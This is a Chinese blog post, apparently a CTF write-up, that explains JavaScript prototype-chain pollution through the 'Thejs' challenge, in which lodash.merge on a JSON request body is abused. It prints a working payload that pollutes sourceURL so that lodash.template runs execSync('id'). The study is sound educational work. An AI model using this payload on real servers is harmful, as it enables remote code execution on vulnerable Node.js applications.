18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出writeup后也没有去分析,最近在先知看到niexinming师傅出的一道js的原型污染链攻击题目的wp才好似唤醒记忆般去学习了一下....
0x01:原型和继承
JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础。
它本身不提供一个 class实现。(在 ES2015/ES6 中引入了 class 关键字,但那只是语法糖,JavaScript 仍然是基于原型的)
在js中,如果我们需要定义一个类,通过定义一个构造函数的方式来进行定义。
比如:
function Test() {
this.test = "test"
}

遵循ECMAScript标准,someObject.[[Prototype]] 符号是用于指向 someObject 的原型。从 ECMAScript 6 开始,[[Prototype]] 可以通过 Object.getPrototypeOf()Object.setPrototypeOf() 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 __proto_
每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype,也就是

我们可以认为,原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__来访问Test类的原型,那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__属性,则等于可以修改该类所有实例对象的__proto__属性。
0x02:原型链污染

我们来看这一段代码,原本test1实例对象中是没有b属性的,但在我给test2做了私有属性__proto__赋值以后(test2.__proto__指向Test的原型prototype),test1.b有值了
这是因为:对于对象test1,在调用test1.b的时候,实际上JavaScript引擎会进行如下操作:
1.在对象test1中寻找b
2.找不到,在test1.__proto__中寻找b(这里的test1.__proto__同样指向Test的原型prototype)
3.如果仍然找不到,则继续在test1.__proto__.__proto__中寻找b
4.依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null
那么在Javascript中,我们何时可以控制实例对象的__proto__来污染原型链呢,只要找到可以控制数组(对象)的键名的位置即可,比如
1.对象clone
2.对象merge
以merge举例,要使__proto__作为key被赋值,还需要一个条件为传递的参数需要是以json来做解析,否则__proto__会被当作原型而不是一个key,故也就无法成功污染
直接拿p师傅的代码举例:
直接赋值,污染原型链失败:
使用Json.parse,污染成功
0x03:Thejs分析
关键代码很少,关键部分主要是:
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options}) return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs') app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
} res.render('index', {
language: data.language,
category: data.category
})
})
而lodash.merge也就是触发原型链攻击的地方
先放p师傅的payload:
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
我们在data = lodash.merge(data, req.body)处下断点,单步结束后可以看到
类型为Object的data对象中的__proto__属性中已经存在sourceURL属性
为什么赋值一个sourceURL属性呢,该属性反应在lodash.template中
javascript中的代码执行可以通过eval和new Function, 这里的Funticon的sourceURL参数来源于
而options.sourceURL值原本是没有被赋值的,所以我们可以通过原型链污染给所有的Object对象插入一个sourceURL属性再拼接到new Function第二个参数中造成代码执行。
我们在前面说过使用merge原型链污染需要json方式取值,而express默认通过body-parser解析请求体,所以直接将请求包的Content-Type改成application/json即可。

初探JavaScript原型链污染的更多相关文章

  1. javascript 原型链污染

    原理①javascript中构造函数就相当于类,并且可以将其实例化 ②javascript的每一个函数都有一个prototype属性,用来指向该构造函数的原型同样的javascript的每一个实例对象 ...

  2. redpwnctf-web-blueprint-javascript 原型链污染学习总结

    前几天看了redpwn的一道web题,node.js的web,涉及知识点是javascript 原型链污染,以前没咋接触过js,并且这个洞貌似也比较新,因此记录一下学习过程 1.本机node.js环境 ...

  3. JavaScript原型链及其污染

    JavaScript原型链及其污染 一.什么是原型链? 1.JavaScript中,我们如果要define一个类,需要以define"构造函数"的方式来define: functi ...

  4. JavaScript学习总结(十七)——Javascript原型链的原理

    一.JavaScript原型链 ECMAScript中描述了原型链的概念,并将原型链作为实现继承的主要方法.其基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法.在JavaScript中, ...

  5. javascript原型链中 this 的指向

    为了弄清楚Javascript原型链中的this指向问题,我写了个代码来测试: var d = { d: 40 }; var a = { x: 10, calculate: function (z) ...

  6. 明白JavaScript原型链和JavaScrip继承

    原型链是JavaScript的基础性内容之一.其本质是JavaScript内部的设计逻辑. 首先看一组代码: <script type="text/javascript"&g ...

  7. Javascript 原型链资料收集

    Javascript 原型链资料收集 先收集,后理解. 理解JavaScript的原型链和继承 https://blog.oyanglul.us/javascript/understand-proto ...

  8. 资料--JavaScript原型链

    JavaScript原型链 原文出处:https://www.cnblogs.com/chengzp/p/prototype.html 目录 创建对象有几种方法 原型.构造函数.实例.原型链 inst ...

  9. JavaScript原型链:prototype与__proto__

    title: 'JavaScript原型链:prototype与__proto__' toc: false date: 2018-09-04 11:16:54 主要看了这一篇,讲解的很清晰,最主要的一 ...

随机推荐

  1. 02、Jmeter正则表达式提取器

    转载自:http://blog.csdn.net/quiet_girl/article/details/50724313 在使用Jmeter过程中,会经常使用到正则表达式提取器提取器,虽然并不直接涉及 ...

  2. Ubuntu Live CD联网修复

    此模式下可以联网修复ubuntu系统下绝大多数问题.进入LIVE CD模式,打开终端执行以下命令: #此处/dev/sda1为ubuntu根分区,工作中根据实际分区情况更改 sudo mount /d ...

  3. CODE_TEST-- gtest

    gtest 提供了一套优秀的 C++ 单元测试解决方案,简单易用,功能完善,非常适合在项目中使用以保证代码质量. https://blog.csdn.net/jcjc918/article/detai ...

  4. spring再学习之基本概念

    二.spring之IOC与DI 注入的方式: set方法注入: 构造方法注入: 字段注入: 注入类型: 值类型注入:8中基本类型 引用类型注入: BeanFaactory是原始接口:功能比较单一. A ...

  5. 9.[完]其他常用的rabbitmq的参数和设置

    作者 微信:tangy8080 电子邮箱:914661180@qq.com 更新时间:2019-08-12 20:42:25 星期一 欢迎您订阅和分享我的订阅号,订阅号内会不定期分享一些我自己学习过程 ...

  6. 记一次 Billu_b0x渗透

    目录: 0x01 寻找ip 1.这边我们是使用的nmap来寻找我们的靶机IP地址,开始Ip是1,结束是254,153是我kali的ip,所以158就是我们的靶机的ip地址了. 2. 查看端口服务 这边 ...

  7. Cortex-M系列内核 启动文件分析

    最近终于闲了下来了准备好好学习下Cortex-M3/M4系列处理器的架构,经过各种资料的折磨也没法对它的整个工作过程能有个完整的认知,最后看到一片博客打算从程序的运行过程开始探究,所以首先就找到了启动 ...

  8. 技术分享: CSS3 系列

    技术分享: CSS3 系列 css 一键换肤 css 打印样式,媒体查询 css 禁用选择 css 性能优化 css 计算单位 css 3D 特效 refs xgqfrms 2012-2020 www ...

  9. jQuery 使用注意事项 与 小技巧(tips)

    jQuery 使用注意事项 与 小技巧(tips) 1 $( document ).ready() https://learn.jquery.com/using-jquery-core/documen ...

  10. React Hooks: useRef All In One

    React Hooks: useRef All In One useRef https://reactjs.org/docs/hooks-reference.html#useref refs xgqf ...